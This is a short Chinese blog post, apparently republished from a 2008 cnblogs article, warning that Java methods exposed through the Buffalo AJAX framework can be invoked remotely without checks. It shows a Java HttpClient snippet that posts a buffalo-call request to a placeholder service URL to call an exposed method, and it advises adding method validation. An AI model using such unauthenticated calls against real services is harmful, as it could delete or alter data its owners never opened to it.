buffalo dwr漏洞

在编写java代码的时候,我们可能经常使用buffalo实现AJAX的调用,将一个java代码直接发布成可以js可远程调用的

方法,在得到方便的同时,可能我们忽略了安全问题,如果java代码不是读取数据那么简单,而是删除,更新数据库

或者文件操作的方法。

 

黑客就很有可能通过如下代码进行攻击,想想如果该方法是个删除关键数据的操作,那就危险了。

 

public static void post() throws HttpException, IOException
 {

  //请求地址
  String serviceUrl = http://×××:8080/aaa/bfapp/buffalo/userService;

   //请求参数
  String strRequest = "<buffalo-call><method>方法名</method></buffalo-call>";
  
  
  PostMethod post = new PostMethod(serviceUrl);
  post.addRequestHeader(new Header("X-Buffalo-Version","2.0"));
  post.addRequestHeader(new Header("Content-Type","text/xml;charset=utf-8"));
  RequestEntity entity = new StringRequestEntity(strRequest);
     post.setRequestEntity(entity);
       
        HttpClient httpclient = new HttpClient();
        try {
            int result = httpclient.executeMethod(post);
            // Display status code
            System.out.println("Response status code: " + result);
            // Display response
            System.out.println("Response body: ");
            System.out.println(post.getResponseBodyAsString());
        } finally {
            // Release current connection to the connection pool once you are done
            post.releaseConnection();
        }
 }

 

 所以我们调用使用buffalo的时候,要注意方法保护,涉及到删除操作的时候最好在java代码中做方法验证。

发布数据的服务写到一个类中。

转载于:https://www.cnblogs.com/yg_zhang/archive/2008/10/15/1311554.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值